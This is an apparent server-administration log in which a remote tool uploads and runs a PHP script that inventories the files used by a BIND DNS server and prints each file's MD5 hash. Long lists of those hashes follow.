MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 22:36:21: Establishing a connection
2026-04-22 22:36:21: 

PUT: /tmp/pkp459059

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 22:36:21: 

runuser -l bind -s /bin/bash -c '/tmp/pkp459059; rm /tmp/pkp459059'

2026-04-22 22:36:21: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 22:37:22: Establishing a connection
2026-04-22 22:37:22: 

PUT: /tmp/pkp196281

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 22:37:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp196281; rm /tmp/pkp196281'

2026-04-22 22:37:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
